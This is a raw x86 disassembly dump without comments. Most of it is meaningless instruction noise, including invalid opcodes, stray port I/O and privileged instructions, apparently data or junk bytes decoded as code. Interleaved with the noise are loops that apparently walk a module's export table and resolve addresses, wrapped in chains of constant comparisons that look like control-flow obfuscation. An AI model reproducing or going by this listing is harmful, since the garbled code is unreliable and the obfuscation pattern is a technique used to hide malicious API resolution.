push esi
test eax, 0xc6cc336b
ret 0x3725
inc eax
neg byte [eax + ecx*4]
adc ah, bl
sbb ecx, edx
add eax, 0x697df6c6
wait
test eax, 0x6b07932f
iretd
cmp dword [0x93e45be7], esi
movsb byte es:[edi], byte [esi]
std
add eax, 0x3a672db7
push ecx
push 0xffffffffffffffd0
cmp eax, 0xb968759e
jno 0x67bb1324
dec ebp
and esi, edi
popal
cmp al, 0x1a
pop edx
idiv dword [edx - 0x7f9a79c7]
dec edx
cmpxchg ebp, edx
mov cl, 0xd5
clc
outsd dx, dword [esi]
adc dword [edx - 0x6f2b9116], esp
int3
clc
cmc
js 0x67bb133b
loopne 0x67bb12a8
dec edi
ljmp 0x4652
push eax
je 0x67bb12a0
jecxz 0x67bb1376
xchg dword [edi - 0x4bdf9b95], eax
add eax, 0x1ca38259
std
jl 0x67bb12c6
xor al, 0x3b
add byte [edi - 7], 0x70
sahf
inc esi
push eax
cmpsd dword [esi], dword es:[edi]
xor al, 0x9c
in al, dx
xchg edx, eax
sub byte [esi + 0x5330b2f7], ch
mov esi, 0x9826a887
sbb al, 0xf1
nop
int3
wrmsr
sbb byte [esi], ah
je 0x67bb130a
cwde
pop edi
mov edx, 0x8f901287
inc esp
int3
enter 0xffffffffffffda17, 0xffffffffffffffa7
stc
xchg ebx, eax
jo 0x67bb1325
and dword [ecx + 0x56fbb360], 0x3a
maskmovq mm4, mm4
xor eax, 0xefafd0bf
daa
jbe 0x67bb140c
hlt
cmp edx, ebx
cmp dword [edi - 0x43217bae], ebp
out 0xea, eax
nop
xor eax, 0x7b827cbc
fmul st(2)
inc edi
inc edi
stosb byte es:[edi], al
xor ah, byte [edi - 5]
sar dl, 0x34
cli
xchg dword [ebx + 0x1f053774], ebx
sbb dword [ebx + 0x75], 0x29
rol dword [eax - 0x243c7b16], cl
mov eax, 0xfc2dea01
bound edi, qword [ebp + 0x35]
fisubr dword [ebx + 0x14]
popal
adc dh, ch
mov edx, 0x5962d04d
int 0x6c
jns 0x67bb14be
push 0x81c32629
stosd dword es:[edi], eax
pop eax
outsb dx, byte [esi]
add edx, dword [ecx + 0x645d6cce]
dec edx
jne 0x67bb146c
and eax, 0x90359c3d
int3
retf 0x2a82
in al, dx
and dword [edi], ebp
aad 0x74
jmp 0xc2993415
rol byte [edx - 0x5f], 1
jo 0x67bb14b4
sbb al, 0x28
outsd dx, dword [esi]
and byte [eax + 0x39b685cc], dl
jbe 0x67bb153e
invalid
imul esp, edi, 0x36dea1d
push 0x9e2f7916
xor eax, 0x65676a28
clc
wait
sahf
test byte [edx], dl
mov esp, 0x4506fdd1
popfd
sub ch, byte [ebx + 0x2c]
wait
fmul qword [ebx - 5]
dec esi
invalid
cmp eax, 0x90e92414
int3
lodsd eax, dword [esi]
cmp ecx, edx
inc ebx
rcl byte [0xfa212b97]
aad 0xfe
sbb dword [esi], esi
cdq
fldcw word [ecx]
jne 0x67bb14d4
fsub dword es:[edi]
sub dh, byte [ebx - 0x987b01e]
cmpsd dword [esi], dword es:[edi]
int1
pop edx
sub esp, dword [edi + 0x2cddc8e]
out dx, eax
xchg byte [eax], dh
cld
stosd dword es:[edi], eax
ja 0x67bb15a1
sti
popfd
cmc
mov ch, 0x7c
inc eax
and ecx, dword [ebp + 0x40c4199d]
js 0x67bb1528
cmp al, 0x47
or byte [edx + 0x18], cl
out dx, eax
enter 0xaa9, 0xffffffffffffffcd
mov ah, ch
lodsb al, byte [esi]
jmp 0xa558ccaf
sti
sbb al, 0xe0
lodsb al, byte [esi]
out dx, eax
dec esp
mov cl, 6
sbb eax, 0x1da6ace4
adc dword [edx + ecx], edx
xor eax, 0x53f4f895
je 0x67bb15a6
test eax, 0x867745b2
in al, dx
in al, 0x98
fimul word [ecx]
jo 0x67bb163c
loop 0x67bb162d
and eax, 0x81977355
mov byte [0x5b1f4a39], al
dec ecx
daa
mov al, 0x2d
push ebx
xchg byte [ebx - 0x31248a0a], dl
lea ebx, [0x16139f52]
iretd
std
stc
adc al, 0x96
pop edx
fsub qword [ebx]
inc esi
wait
stc
rol cl, cl
and dword [eax + ebp*8 - 0x1f], 0xeaee0f6
call 0x169c0d22
push cs
adc bl, byte [edi + eax - 0x5b16f697]
push ss
push esp
cmpsb byte [esi], byte es:[edi]
mov al, byte [0x39122655]
adc al, 0x5e
sub byte [edx + 0x56], 0x3e
cmpsd dword [esi], dword es:[edi]
nop
int3
or byte [edi - 0x42], bh
dec ebx
invalid
dec edi
cld
and byte [ebx], ah
mov ebp, eax
mov ebx, 0x65fc5495
mov edi, 0xf80bf220
inc esp
stosd dword es:[edi], eax
jge 0x67bb1886
in eax, 0x7b
nop
int3
inc ebx
lodsd eax, dword [esi]
jae 0x67bb1904
sbb al, byte [edi + 0x7a7ea546]
pop ds
mov gs, word [ebp + 0x7e]
xchg ecx, eax
inc esp
jno 0x67bb1898
in al, dx
mov esi, 0xe9e4aed5
jns 0x67bb18f2
and dword [edi - 0x25], ebp
into
outsd dx, dword [esi]
fcmovne st(0), st(6)
popal
salc
push cs
inc edi
scasb al, byte es:[edi]
pop edi
mov al, byte [0xbdd2fcce]
push esp
call 0x24c5f6c0
cdq
xchg byte [edi + 0x49d58c98], dh
mov dword [ecx + 0x46], eax
inc ebp
mov ch, 0xdf
adc byte [0xad6c888c], ah
fsubr dword [ebp - 0xf]
jecxz 0x67bb18d0
jnp 0x67bb1959
movsd dword es:[edi], dword [esi]
cmp eax, dword [ebx]
jge 0x67bb18a5
cdq
sub dword [edi + 0x5ca55133], edx
test dword [ebx - 0x30], esp
mov esp, 0x6cdac521
les eax, [eax - 0xdc08edc]
nop
sar byte [ecx - 0x3b93253b], 1
and byte [ecx + esi*2], 0x3f
nop
int3
or dword [eax], esi
xor esi, dword [eax - 0x3c424839]
arpl bx, si
mov al, 0xee
xchg edi, eax
or byte [eax - 0x7cf09853], 0xbe
js 0x67bb190d
pop ss
and dl, ch
inc esp
push cs
sub cl, byte [esi + 0x4c547ec5]
pushal
push edx
add dword [eax + 0x628336cc], edx
sahf
add dl, 0xa0
xlatb
invalid
invalid
mov eax, 0xd4190c13
les eax, [edi + 3]
adc eax, 0xa7f585cb
pop esi
fistp qword [edx + edi + 0x3a]
jno 0x67bb1e3a
push cs
xchg edi, eax
cli
inc edx
cmp eax, 0xb0feca43
stosd dword es:[edi], eax
pcmpgtw mm1, qword [ebp + 0x5d492caf]
or eax, 0x9cc8fe1a
rcl dword [eax + 0x2928e9cc], cl
add byte [eax], al
xor dl, cl
and ch, bh
mov dl, 0x6e
xchg edi, eax
mov ebx, 0x3e6db92c
jne 0x67bb1eca
outsb dx, byte [esi]
push 0x5d
mov eax, dword [0x4677e129]
jne 0x67bb1ea6
js 0x67bb1e66
cli
pop ss
sub ah, byte [0x6f7fe820]
pop edi
mov cl, 0xd7
sub al, 0xeb
ret 0xb575
mov edx, 0x8efdd3f
ret 0xe07c
mov cl, 0x22
inc ebp
mov byte [0xda6cf9b], al
push ds
pushfd
imul ebp, dword [edi - 0x33], 0x414cfe12
cwde
fcmovb st(0), st(3)
mov byte [ebp - 0x70], 0xcc
pop esp
fistp qword [esi - 0x29129f66]
outsd dx, dword [esi]
fdivr dword [edi]
clc
pop edi
or dword [esi], eax
test ah, 0xc5
adc dl, byte [esi + 0x603daddf]
lcall 0xb9c8, 0x2e7b3e5a
fmul qword [ebx - 0x3d]
int3
sbb eax, 0x81d1e143
std
and eax, 0xb63d0a25
mov dh, 0xf2
jl 0x67bb23f8
xchg ebp, eax
pop esp
cdq
div byte [ebp - 0x5566de70]
les ebx, [edx + 0x7a8ffe6e]
xor esi, 0xd54b4939
jbe 0x67bb2486
fdivrp st(5)
and al, 0xb7
xchg esi, eax
into
or eax, 0xe9cc90a1
inc edi
and eax, dword [eax]
add bh, ah
xchg byte [ecx - 0x2c], bh
out 0x86, eax
jns 0x67bb2451
scasb al, byte es:[edi]
into
dec eax
sal dword [ebx + 0x3627dd1f], 0xf9
stc
stc
push ebx
jl 0x67bb247b
fucom st(3)
push cs
cwde
lodsb al, byte [esi]
or eax, 0x16494fe5
jne 0x67bb24cc
out 0xc7, al
mov ch, 0xf1
int1
js 0x67bb2444
xor eax, 0xfa6de7a2
and edx, ebx
aam 0x3b
push ds
test eax, 0xdcfdaa14
sal dword [ecx + 0x55], 1
xchg byte [ebp - 0x1f], bl
cmpsb byte [esi], byte es:[edi]
cmp dh, byte [ebx + 0x2a]
scasd eax, dword es:[edi]
xchg ecx, eax
mov esp, 0x873dea51
pop ss
jns 0x67bb24b7
mov ebp, 0x1f0a2802
out 0xf5, al
inc esi
jecxz 0x67bb24d3
pop dword [esi + ecx]
jo 0x67bb249b
dec esp
ljmp 0xf0f4:0x2bac70e3
pop esp
xchg edi, eax
or ch, byte [esi]
movsb byte es:[edi], byte [esi]
sub bh, byte [edx]
scasb al, byte es:[edi]
leave
inc esp
les edx, [ecx + 0x248dbdc6]
xor ah, dh
cmp byte [ecx + ebp*4 + 0x6b57cd63], bl
clc
int 0x93
xchg edx, eax
mov edi, 0x53fb640
sti
sbb al, 0xa4
sbb eax, 0xabfbd67c
mov bh, 0xc9
jp 0x67bb2ac1
inc ebp
aas
or ebx, dword [ebp - 0x79e36721]
sahf
rol ebp, 0x4b
invalid
rcl edi, 0x13
scasd eax, dword es:[edi]
fisttp qword [eax]
push esp
mov bh, 0x78
push ss
mov eax, 0xeb0c389d
stosb byte es:[edi], al
push ecx
iretd
mov ebx, 0xecf8ee6e
add esp, dword [ebp + 0x40d0014b]
cmc
mov ah, 0x22
pop ebx
inc eax
wait
std
loop 0x67bb3081
xchg esp, eax
out 0xee, eax
pushal
aam 0x9b
and dword [ebp + edi*8 - 0x73], edi
mov byte [eax - 0x7d], bl
dec edx
xchg edx, eax
outsb dx, byte [esi]
inc edx
xchg edx, eax
pop esp
jmp 0x67bb307a
pop edx
clc
sbb ebx, 5
lodsb al, byte [esi]
sub dword [edx + 0x55], 0xb4209231
mov ds, word [esi + eax*4]
sub eax, 0xfded6b26
push 0x55
xor dword [edx + 0x1c8eb420], edx
xchg byte [0xfded6b26], ch
jbe 0x67bb3059
pop edx
push ebp
cli
dec ecx
leave
sbb eax, 0x25f3070b
add al, 0x2f
nop
int3
inc ecx
push ss
adc eax, 0x9f8163fb
dec ebp
sub dword [eax - 0x76], 0xffffffec
mov ah, 0x1d
insb byte es:[edi], dx
bound eax, qword [edx - 9]
sub esi, ebx
cwde
mov cl, 0x6c
clc
mov eax, dword [0x9367bc14]
iretd
mov bl, byte [eax - 0x54]
enter 0xffffffffffff808a, 0xfffffffffffffffe
or al, 0x23
js 0x67bb3c68
out dx, al
cmp ecx, dword [esi + 0x60fdbe32]
stc
cmc
test eax, 0xe0aba4d0
jmp 0x67bb3c34
push es
mov bl, 0x19
je 0x67bb3c46
lodsd eax, dword [esi]
aam 0xd9
std
sbb dword [ebx + 0x18], edx
les ecx, [edx + edx + 0x182d2529]
mov al, byte [0x96498d7e]
sbb byte [eax - 0x69b67282], ah
cmp al, 8
add byte [esi + 0x5b], ch
mov byte [esi + 0x35e0e7ee], dl
xchg esi, eax
dec eax
jge 0x67bb3cd0
inc edi
push eax
or byte [ebx - 0x70], 0xcc
mov al, byte [0xa390adf1]
stc
bound eax, qword [esi]
int3
push es
add eax, 0xb60e7c9f
ret
ja 0x67bb3c60
neg dword [edx + 0x71302eb0]
retf 0x74ee
dec edx
aad 0x57
invalid
nop
jmp 0x67bb47c0
nop
movzx eax, word [ebp - 0xa]
lea edx, [eax*4]
mov eax, dword [ebp - 0xec]
add eax, edx
mov eax, dword [eax]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call int.67ae22c2
test eax, eax
jne 0x67bb97f7
mov dword [ebp - 0x188], 0x6744b
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x190], 0xd879a
mov dword [ebp - 0x18c], 0
mov ecx, dword [ebp - 0x188]
mov ebx, dword [ebp - 0x184]
mov eax, dword [ebp - 0x190]
mov edx, dword [ebp - 0x18c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], edx
mov eax, dword [ebp - 0x198]
xor eax, 0x13fbe5
or eax, dword [ebp - 0x194]
je 0x67bb7f0a
mov edx, 0x13fbe5
mov eax, 0
cmp edx, dword [ebp - 0x198]
sbb eax, dword [ebp - 0x194]
jl 0x67bb7f0d
mov eax, dword [ebp - 0x198]
xor eax, 0xd3636
or eax, dword [ebp - 0x194]
je 0x67bb6d6a
mov edx, 0xd3636
mov eax, 0
cmp edx, dword [ebp - 0x198]
sbb eax, dword [ebp - 0x194]
jl 0x67bb7f0d
mov eax, dword [ebp - 0x198]
xor eax, 0x7dd38
or eax, dword [ebp - 0x194]
je 0x67bb4a24
mov edx, 0x7dd38
mov eax, 0
cmp edx, dword [ebp - 0x198]
sbb eax, dword [ebp - 0x194]
jl 0x67bb7f0d
mov eax, dword [ebp - 0x198]
xor eax, 0x6ed29
or eax, dword [ebp - 0x194]
je 0x67bb5005
mov edx, 0x6ed29
mov eax, 0
cmp edx, dword [ebp - 0x198]
sbb eax, dword [ebp - 0x194]
jl 0x67bb7f0d
mov eax, dword [ebp - 0x198]
xor eax, 0x63c2c
or eax, dword [ebp - 0x194]
je 0x67bb792c
mov edx, 0x63c2c
mov eax, 0
cmp edx, dword [ebp - 0x198]
sbb eax, dword [ebp - 0x194]
jl 0x67bb7f0d
mov eax, dword [ebp - 0x198]
xor eax, 0x599e4
or eax, dword [ebp - 0x194]
je 0x67bb61a8
mov edx, 0x599e4
mov eax, 0
cmp edx, dword [ebp - 0x198]
sbb eax, dword [ebp - 0x194]
jl 0x67bb7f0d
mov eax, dword [ebp - 0x198]
xor eax, 0x3cbb5
or eax, dword [ebp - 0x194]
je 0x67bb5bc7
mov edx, 0x3cbb5
mov eax, 0
cmp edx, dword [ebp - 0x198]
sbb eax, dword [ebp - 0x194]
jl 0x67bb7f0d
mov eax, dword [ebp - 0x198]
xor eax, 0x33b49
or eax, dword [ebp - 0x194]
je 0x67bb734b
mov edx, 0x33b49
mov eax, 0
cmp edx, dword [ebp - 0x198]
sbb eax, dword [ebp - 0x194]
jl 0x67bb7f0d
mov eax, dword [ebp - 0x198]
xor eax, 0x261cf
or eax, dword [ebp - 0x194]
je 0x67bb6789
mov eax, dword [ebp - 0x198]
xor eax, 0x30cd0
or eax, dword [ebp - 0x194]
je 0x67bb55e6
jmp 0x67bb7f0d
enter 0xffffffffffff8f41, 0xffffffffffffffe1
invalid
pop ebx
mov dl, 0xb2
dec edi
mov dh, 0x74
mov edx, cs
inc ecx
inc esp
cmpsb byte [esi], byte es:[edi]
mov bl, 0xf0
ljmp 0x87e
pop eax
sub byte [ecx + edx*4 - 0x2cea12c4], dh
retf 0x5054
lds ebx, [edx - 0x6e]
dec ecx
sti
push edi
scasd eax, dword es:[edi]
rcr byte [edx + 0x712a176d], 1
jae 0x67bb5c3e
cmp esp, dword [ecx - 0x56691703]
pop ds
inc esp
retf 0xdfe2
push esp
push esi
and cl, bl
mov al, byte [0x33caa830]
stosb byte es:[edi], al
cmc
xor byte [0x7ef485db], ah
in al, 0xdb
in eax, 0xf7
jno 0x67bb5c7e
adc edi, esi
out dx, eax
scasd eax, dword es:[edi]
test edx, ebp
pop ebx
push 0xffffffffffffffbb
lodsd eax, dword [esi]
mov bl, 0xe4
pop ds
xor dword [eax], 0x6bac7b83
sbb byte [eax - 0x66], bl
out 0x39, eax
int1
cmc
ret
out 4, al
je 0x67bb5c3c
invalid
mov ebx, 0x7843fd88
popal
out 0x86, eax
lcall 0xcfdf, 0xc8c0c1d1
inc edi
xor esp, ecx
xchg esi, eax
in al, dx
movsb byte es:[edi], byte [esi]
pop ebp
iretd
invalid
adc dword [ebx], edx
jnp 0x67bb6daf
add dh, ah
aam 0x4b
lea eax, [ebx]
lock sbb byte [ecx], al
dec esi
pushfd
adc esi, esi
and dword [edx - 0x5c40529b], eax
pop ds
sahf
outsd dx, dword [esi]
mov dl, 0xbd
shl dword [esi + 0x2834c0a3], cl
sub cl, byte [eax + 0x3c]
sbb al, 0x87
inc esi
int3
jno 0x67bb6deb
ret 0xda92
aaa
mov al, 0xfe
in al, dx
lds esp, [edi - 0x45]
xor ebx, dword [esp + 0x7b]
invalid
fst dword cs:[esi + edi*8 + 0x5188f68a]
pushal
aas
arpl word [ebx + 0x6d6462a6], cx
invalid
push cs
das
mov ecx, 0xe36f030f
jle 0x67bb7970
fldcw word [ebx + 0x6258c375]
xchg dword ss:[eax], edx
cmp dword [ecx - 0x3cf75051], edi
or byte [ecx], dl
adc al, 0x4b
or ecx, edi
int3
xchg esp, eax
inc edx
mov cl, 0x66
mov eax, ebx
nop
int3
fild qword [esp + edi*2 + 0x48c5ccdc]
in al, dx
xchg esp, eax
int 0x51
test al, 0x82
sub eax, 0x71d65bcb
loope 0x67bb78ea
mov esp, 0x1e049478
femms
invalid
mov dword [eax + edi*8 + 0x2e73c37a], ebp
xchg byte [ecx*8 + 0x256822c4], dl
insd dword es:[edi], dx
lcall 0x412a, 0xea879d36
or dh, byte [ebx]
int1
push ss
leave
jae 0x67bb791f
int3
nop
jmp 0x67bb7f0e
nop
movzx eax, word [ebp - 0xa]
lea edx, [eax + eax]
mov eax, dword [ebp - 0x10c]
add eax, edx
movzx eax, word [eax]
movzx eax, ax
lea edx, [eax*4]
mov eax, dword [ebp - 0xcc]
add eax, edx
mov eax, dword [eax]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x19c], eax
mov dword [ebp - 0x1a8], 0x12a17
mov dword [ebp - 0x1a4], 0
mov dword [ebp - 0x1b0], 0x3b312
mov dword [ebp - 0x1ac], 0
mov ecx, dword [ebp - 0x1a8]
mov ebx, dword [ebp - 0x1a4]
mov eax, dword [ebp - 0x1b0]
mov edx, dword [ebp - 0x1ac]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], edx
mov eax, dword [ebp - 0x1b8]
xor eax, 0xea809
or eax, dword [ebp - 0x1b4]
je 0x67bb8648
mov edx, 0xea809
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x67bb97e8
mov eax, dword [ebp - 0x1b8]
xor eax, 0x754ba
or eax, dword [ebp - 0x1b4]
je 0x67bb8067
mov edx, 0x754ba
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x67bb97e8
mov eax, dword [ebp - 0x1b8]
xor eax, 0x62415
or eax, dword [ebp - 0x1b4]
je 0x67bb920a
mov edx, 0x62415
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x67bb97e8
mov eax, dword [ebp - 0x1b8]
xor eax, 0x39e3b
or eax, dword [ebp - 0x1b4]
je 0x67bb8c29
mov eax, dword [ebp - 0x1b8]
xor eax, 0x4dd29
or eax, dword [ebp - 0x1b4]
je 0x67bb97eb
jmp 0x67bb97e8
xchg esi, eax
xchg eax, edx
fucom st(7)
sub al, 0x72
sar dword [ebx + 0x158737c0], cl
movsd dword es:[edi], dword [esi]
jnp 0x67bb803f
rcr byte [ebx + 0x9e50ecb], 0x9a
fild qword [edx]
mov bh, 0xf7
call 0xd00be42
out dx, eax
xchg ebx, eax
and al, 0x60
dec ebx
outsb dx, byte [esi]
rcl byte [edx - 0x261c884], cl
dec edi
xor byte [eax - 0x4a], 0x95
ror dword fs:[ecx + 0x5b], 0x2c
mov ebx, 0x9dc4bfe4
jnp 0x67bb8115
les ebx, [ebp + 0x7c56717b]
stc
push esi
jl 0x67bb80a0
inc edx
dec ebx
scasd eax, dword es:[edi]
movsb byte es:[edi], byte [esi]
pop ss
and al, 0x55
mov dh, byte [edx - 8]
add dword [ebx + 0x4c], ebx
mov eax, dword [0x882724c5]
push cs
inc ecx
popfd
xchg edx, eax
hlt
mov cl, 0xf
invalid
xchg edi, eax
push edx
sbb byte [ecx + 0x7e7a057f], ah
mov ecx, edx
and al, dl
pop ss
mov esi, 0x7e247191
mov dh, 0xf9
cmp eax, 0xf0e98bb1
xchg ecx, eax
add al, 0x7c
xchg ebp, eax
movsd dword es:[edi], dword [esi]
mov byte [0xdfdebbbf], al
push es
sbb eax, 0xb2819688
adc byte [edx], 0x33
xlatb
aam 0x92
salc
jb 0x67bb817f
outsd dx, dword [esi]
invalid
fsubr qword [ecx - 0x1196e80f]
jnp 0x67bb80e0
test dword [esi + 0x3c], edi
mov ebx, 0x7894eb27
jbe 0x67bb814b
xchg edx, eax
ret
mov al, byte [edx + ebx*2]
fsub qword [ebx]
sub dword [esi], 0xd2660ebc
cmp eax, 0x69008efb
loop 0x67bb80d4
mov es, word [eax]
imul esp, edx, 0xc515c484
sahf
mov edx, 0x963e316a
les edx, [0x6aba9ec5]
xor dword [esi], edi
xchg esi, eax
mov ch, 0x15
test esp, edi
ja 0x67bb813e
lodsd eax, dword [esi]
invalid
sbb edi, ebp
clc
mov esp, 0x8770cd8e
mov byte [0xc7e89354], al
xchg dword [edx - 0x38176cac], esp
cwde
dec ebp
jp 0x67bb81c0
inc edx
nop
int3
push 0x9c4d6e12
adc eax, 0x4dde96e0
mov dword [esp + ebx - 0x7671d25c], esi
imul esp, dword [edx - 0x73e71296], 0xffffff84
in al, 0xc0
js 0x67bb81b6
lds ebx, [ecx + ebp*2 - 0x72fa13dc]
or byte [edx - 0x78642ce4], bh
xor eax, ebp
cmp eax, 0xe8a1b017
adc al, 0x6b
fistp word [esi]
mov word [0xdd383af5], fs
adc edx, dword [ecx]
je 0x67bb8186
int3
inc esp
les ecx, [eax]
into
cmp al, 5
jo 0x67bb8624
or al, al
pop esi
cld
sub ah, bh
sub cl, byte [edx + 0xb]
adc al, 0xb6
invalid
mov esi, 0xe2080a5f
out dx, al
add byte [ebx + 0x4f], al
pop edi
xor ebp, dword [edi + 0x1a852ba9]
mov ebp, 0x2518e76d
jecxz 0x67bb8667
out 0x18, eax
and eax, 0x76922be3
imul edx, dword [edx], 0xffffffc3
xchg edx, eax
jbe 0x67bb86aa
adc al, bl
nop
int3
jge 0x67bb862e
lahf
mov ch, 0x2a
lcall 0x7363, 0x7cea32e8
stosd dword es:[edi], eax
mov esp, 0x8539fd8a
jno 0x67bb8601
ret
scasd eax, dword es:[edi]
sub al, 0xac
divps xmm4, xmmword [eax + 0x17]
arpl word [edx + ebx*8 - 0x47], ax
pop ss
cmc
loope 0x67bb8637
fisubr word [eax + 0xe512705]
mov byte [0x6f73d4a6], al
mov eax, dword [0x82c006a5]
mov edx, ds
dec byte [ecx + 0x1f]
sahf
xchg esp, eax
add bl, byte [ebp + 0x48]
xchg esp, eax
pop esp
lea edi, [esi - 0x2e80e38a]
cmp eax, dword [edx - 0x283e74b0]
sal byte [edx + edx*2 + 8], 1
test al, ch
fcmovu st(0), st(0)
salc
out 0x90, al
nop
int3
int3
push ecx
mov ecx, 0x3d27352e
imul ecx, eax, 0xb34d0ff8
sahf
jno 0x67bb8c6f
push esp
cmp byte [edx - 0x74], dl
mov dword [0x9d753020], eax
push edx
mov word [ebx - 0x628acfe0], fs
test dword [edx + eax*4 + 0x73], esp
out dx, eax
sub byte [ebp + 0x5b], dl
xor byte [ebx - 0x11], 0x28
push ebp
pop ebx
push cs
adc dh, byte [eax + 0x5891a2f4]
xor bl, dh
popfd
sti
jo 0x67bb8cb7
loope 0x67bb8c43
jae 0x67bb8c3a
ljmp 0x7b0:0xb8da82ed
fidiv dword [ecx + 0x6c]
jno 0x67bb8cdd
dec edx
push 0x1d474e5
call 0x9ae814a
inc ebp
push esp
add bh, byte [ebx]
jp 0x67bb8ce0
mov dl, 0x23
mov ecx, 0x550904a8
and eax, 0xf9cc9049
fimul dword [eax]
jns 0x67bb8c23
pop ss
jne 0x67bb8cec
outsd dx, dword [esi]
scasb al, byte es:[edi]
jmp 0x67bb8c6e
adc bl, byte [ecx + esi*4]
sbb ah, byte [ebx]
lodsb al, byte [esi]
sub eax, 0x7273bf2b
push ss
jb 0x67bb8ccd
push edi
push ss
cmp dword [edi + 0x7544522a], ebp
in eax, dx
jg 0x67bb8cb5
mov al, byte [0x8719d32]
out dx, al
xlatb
stc
int1
sbb al, 0x69
mov esp, 0x6b9d4bca
pop esi
dec esp
out 0xdb, al
retf
imul edi, dword gs:[ebp - 0x61], 0xffffffb2
or cl, byte [ebp + 0x52]
lahf
mov dl, 0xa
dec ebp
push edx
and dword [edx], esi
int1
stosd dword es:[edi], eax
jb 0x67bb8cab
outsb dx, byte [esi]
insb byte es:[edi], dx
cli
nop
int3
fidivr dword [ebx + 0x7ef0f0ea]
lodsb al, byte [esi]
outsb dx, byte [esi]
movsb byte es:[edi], byte [esi]
or al, 0x27
invalid
nop
jmp 0x67bb97ec
nop
mov eax, dword [ebp - 0x19c]
jmp 0x67bbed82
movzx eax, word [ebp - 0xa]
add eax, 1
mov word [ebp - 0xa], ax
movzx edx, word [ebp - 0xa]
mov eax, dword [ebp - 0xac]
mov eax, dword [eax + 0x18]
cmp edx, eax
jb 0x67baf86f
mov dword [ebp - 0x150], 0x12635
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x158], 0xe91e2
mov dword [ebp - 0x154], 0
mov eax, dword [ebp - 0x158]
mov edx, dword [ebp - 0x154]
sub eax, dword [ebp - 0x150]
sbb edx, dword [ebp - 0x14c]
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], edx
mov eax, dword [ebp - 0x160]
xor eax, 0xf0a2d
or eax, dword [ebp - 0x15c]
je 0x67bbe1b9
mov edx, 0xf0a2d
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x67bbed78
mov eax, dword [ebp - 0x160]
xor eax, 0xedd1c
or eax, dword [ebp - 0x15c]
je 0x67bbb2b1
mov edx, 0xedd1c
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x67bbed78
mov eax, dword [ebp - 0x160]
xor eax, 0xd6bad
or eax, dword [ebp - 0x15c]
je 0x67bbed7b
mov edx, 0xd6bad
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x67bbed78
mov eax, dword [ebp - 0x160]
xor eax, 0xd6a51
or eax, dword [ebp - 0x15c]
je 0x67bbc454
mov edx, 0xd6a51
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x67bbed78
mov eax, dword [ebp - 0x160]
xor eax, 0xb4962
or eax, dword [ebp - 0x15c]
je 0x67bbb892
mov edx, 0xb4962
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x67bbed78
mov eax, dword [ebp - 0x160]
xor eax, 0xb4718
or eax, dword [ebp - 0x15c]
je 0x67bba6ef
mov edx, 0xb4718
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x67bbed78
mov eax, dword [ebp - 0x160]
xor eax, 0xab8c2
or eax, dword [ebp - 0x15c]
je 0x67bbdbd8
mov edx, 0xab8c2
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x67bbed78
mov eax, dword [ebp - 0x160]
xor eax, 0xa808a
or eax, dword [ebp - 0x15c]
je 0x67bbd016
mov edx, 0xa808a
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x67bbed78
mov eax, dword [ebp - 0x160]
xor eax, 0x9c0e8
or eax, dword [ebp - 0x15c]
je 0x67bba10e
mov edx, 0x9c0e8
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x67bbed78
mov eax, dword [ebp - 0x160]
xor eax, 0x475aa
or eax, dword [ebp - 0x15c]
je 0x67bb9b2d
mov edx, 0x475aa
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x67bbed78
mov eax, dword [ebp - 0x160]
xor eax, 0x35577
or eax, dword [ebp - 0x15c]
je 0x67bbacd0
mov edx, 0x35577
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x67bbed78
mov eax, dword [ebp - 0x160]
xor eax, 0x332a7
or eax, dword [ebp - 0x15c]
je 0x67bbe79a
mov edx, 0x332a7
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x67bbed78
mov eax, dword [ebp - 0x160]
xor eax, 0x3218e
or eax, dword [ebp - 0x15c]
je 0x67bbca35
mov edx, 0x3218e
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x67bbed78
mov eax, dword [ebp - 0x160]
xor eax, 0x10909
or eax, dword [ebp - 0x15c]
je 0x67bbd5f7
mov eax, dword [ebp - 0x160]
xor eax, 0x118a0
or eax, dword [ebp - 0x15c]
je 0x67bbbe73
jmp 0x67bbed78
inc eax
inc eax
xor bl, byte [ecx - 0x40e6e533]
in eax, 0x63
cli
or dword [ecx + 0x178c42fe], eax
retf 0x9a2
rcl dword [ecx + 0x30809c1f], cl
mov eax, dword [eax]
jmp 0x67bba180
out 0x65, al
or byte [ebx], dl
xor eax, 0x90bc40dc
fst qword [edx]
